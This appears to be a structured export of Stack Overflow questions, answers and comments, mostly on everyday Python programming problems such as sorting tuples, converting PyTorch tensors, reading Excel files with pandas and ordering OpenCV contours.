has body: I apologize of if this is a duplicate of this. Sort a list of tuples depending on two elements depending-on-two-elements What I have is a unsorted list of tuples unsorted_list = [(50,45), (35,40)] sorted_list = [(35,40), (50,45)] I want to end up with the following sorted list. I tried the following: sorted(unsorted, key=lambda element: (element[0], element[1])) My result was the following, which is not what I wanted. [(35, 40), (45,50)]
favorite count: 0
has comment: http://stackoverflow.com/comment/81623622
type: Question
tagged with: tuples
has title: Python - How to sort individual elements in a list of Python tuples
has comment: http://stackoverflow.com/comment/81623567
has comment: http://stackoverflow.com/comment/81622602
tagged with: python

http://stackoverflow.com/comment/81640172
has text: I don't think there is any short cut here. You may have to iterate over the keys and values and if the key gets repeated add a new entry to the list corresponding to its value.
comment on: http://stackoverflow.com/q/47344119
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47273096
has body: If my guess is correct, you are probably getting error in the following line. # wrap them in Variable images_batch, labels_batch = Variable(images_batch), Variable(labels_batch) It means, images_batch and/or labels_batch are lists. You can simple convert them to numpy array and then convert to tensor as follows. # wrap them in Variable images_batch = torch.from_numpy(numpy.array(images_batch)) labels_batch = torch.from_numpy(numpy.array(labels_batch)) It should solve your problem. Edit: If you get the following error while running the above snippet of code: "RuntimeError: can't convert a given np.ndarray to a tensor - it has an invalid type. The only supported types are: double, float, int64, int32, and uint8." You can create the numpy array by giving a data type. For example, images_batch = torch.from_numpy(numpy.array(images_batch, dtype='int32')) I am assuming images_batch contains pixel information of images, so I used int32. For more information, see official documentation.
downvote count: 0
has comment: http://stackoverflow.com/comment/81497326
has comment: http://stackoverflow.com/comment/81498402
has comment: http://stackoverflow.com/comment/81497251
upvote count: 9
has comment: http://stackoverflow.com/comment/81497792
type: Answer
has comment: http://stackoverflow.com/comment/81497224
answers question: http://stackoverflow.com/q/47272971
score: 9

http://stackoverflow.com/q/47304420
type: AnsweredQuestion
score: 2
has body: I'm searching for an autocomplete to super function. Usually the super is something like: super(MyClass, self).my_func(*func_args, *func_kwargs) It there a shortcut/macro to have it auto completed? Many thanks!
upvote count: 2
tagged with: super
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: pycharm
has title: How to get autocomplete `super` on PyCharm
tagged with: autocomplete
tagged with: python
has answer: http://stackoverflow.com/a/47304519
accepted answer: http://stackoverflow.com/a/47304519

http://stackoverflow.com/comment/81593707
has text: Same way you run any other command: in this case, at a shell prompt, `file name_of_file.pgm`. Or if you run `man file` it will give you plenty of information about the usage.
score: 0
comment on: http://stackoverflow.com/q/47315784
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47372353
has comment: http://stackoverflow.com/comment/81698037
has body: According to your linked doc, DateCreated is the date/time recorded in the timezone of the user making the request. According to https://dev.mysql.com/doc/refman/5.7/en/datetime.html MySQL converts TIMESTAMP values from the current time zone to UTC for storage, and back from UTC to the current time zone for retrieval. (This does not occur for other types such as DATETIME.) By default, the current time zone for each connection is the server's time. So most probably it does not work because somehow it creates entity and store time with your wufoo server's timezone and later operator 'is_after' compares provided datetime as it would with db's timezone. I guess that database connections are out of your control so the best place to ask for that issue is wufoo blog: https://www.wufoo.com/blog/ NOTE: that's first time when I've heard about wufoo ;)
answers question: http://stackoverflow.com/q/47358204
type: Answer
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47226648
score: 0
answers question: http://stackoverflow.com/q/47226573
has body: Check in excel what is column index of index column. Then use pd.read_excel(''test.xlsx',index_col=[index_in_excel])
has comment: http://stackoverflow.com/comment/81404394
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81404876
has comment: http://stackoverflow.com/comment/81404348
type: Answer
accepted answer of: http://stackoverflow.com/q/47226573

http://stackoverflow.com/comment/81477512
comment on: http://stackoverflow.com/a/47263406
has text: Thank you, I will give it a go! :)
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47237429
has answer: http://stackoverflow.com/a/47237474
tagged with: logic
score: 0
has comment: http://stackoverflow.com/comment/81424998
answer count: 1
has body: I have made a logic gate that takes in two inputs which will then feed through into a AND gate in this case. For example the user will enter 0 and 0 then the AND gate will process as 0. The problem here is when we use the IF statement to determine our two inputs, they are not recognised otherwise everything else in the program to process the two inputs along with a temporary storage for the output. A = input("Enter a value of 1 or 0: ") B = input("Enter a value of 1 or 0: ") print(A) print(B) So the part above I am able to enter the inputs and create a storage for it. The program tells me that A and B are unrecognised so does anyone know what I am doing wrong here? this is where the problem takes place: everything from here to the else statement is ignored. def first_AND (): if A == 0 and B == 0: AND_1() print(AND) print("Now solve the XOR gate") gate_path_A() elif A == 1 and B == 0: AND_2() print(AND) print("Now solve the XOR gate") gate_path_A() elif A == 0 and B == 1: AND_3() print(AND) print("Now solve the XOR gate") gate_path_A() elif A == 1 and B == 1: AND_4() print(AND) print("Now solve the XOR gate") gate_path_A() else: print("Error") it skips all my elif statements and just prints an error. def AND_1(): print(A &amp; " AND " &amp; B &amp; " = 0") AND = 0 def AND_2(): print(A &amp; " AND " &amp; B &amp; " = 0") AND = 0 def AND_3(): print(A &amp; " AND " &amp; B &amp; " = 0") AND = 0 def AND_4(): print(A &amp; " AND " &amp; B &amp; " = 1") AND = 1
has comment: http://stackoverflow.com/comment/81424969
has comment: http://stackoverflow.com/comment/81425102
has comment: http://stackoverflow.com/comment/81424946
has comment: http://stackoverflow.com/comment/81425492
type: Question
has comment: http://stackoverflow.com/comment/81425085
has comment: http://stackoverflow.com/comment/81425007
has title: Logic Gate implementation fails
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/47243919
score: 2
answers question: http://stackoverflow.com/q/47243861
has comment: http://stackoverflow.com/comment/81438478
has body: df.Fruit.str.split(';').sum() See full code in Microsft Azure Notebook.
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/81507423
type: AnswerComment
has text: @PhilipNaida: the SSLabs report I've linked to shows the expected certificate chain including the missing intermediate certificate. Starting from this one can Google for the sha256 fingerprint shown by SSLLabs and after a while find these certificates. You could probably also look at the chain in the browser and export the chain and root certificates from there.
comment on: http://stackoverflow.com/a/47246575
type: Comment
score: 0

http://stackoverflow.com/q/47288141
linked to: http://stackoverflow.com/q/38654302
type: Question
linked to: http://stackoverflow.com/q/10262600
tagged with: python
has comment: http://stackoverflow.com/comment/81526985
has comment: http://stackoverflow.com/comment/81526814
favorite count: 0
has comment: http://stackoverflow.com/comment/81527056
has body: For handwritten Digit Recognition, I have trained my CNN with MNIST database. Now, I have to process my input images to the MNIST Format for detecting the digit. For the following image : I am using contours to separate 3 and 8, In order to detect and write "38" i need to send 3 first and then 8 to the CNN. But the order of contours from cv2.findContours() are confusing, which sometimes detects 8 first then 3 making it "83". How can i get the contours from left to write and similarly up to down ?
score: 2
upvote count: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47288480
downvote count: 0
has answer: http://stackoverflow.com/a/47288480
answer count: 1
has title: Getting contours in an Order
tagged with: opencv

http://stackoverflow.com/comment/81522693
comment on: http://stackoverflow.com/a/47281978
type: Comment
type: AnswerComment
score: 0
has text: I try : /n 1- your sample with my app Path, the result is the same. /n 2-your sample with your app, it done.... i think my app is not correctly build

http://stackoverflow.com/comment/81456984
type: QuestionComment
comment on: http://stackoverflow.com/q/47253169
has text: "I believe that when methodB finishes, all the memory in its frame will be reclaimed by the system, so methodA has to actually copy anything returned by methodB in to its own frame in order to be able to use it." No. That isn't how it works. Python uses [call by sharing](https://en.wikipedia.org/wiki/Evaluation_strategy#Call_by_sharing)
score: 0
type: Comment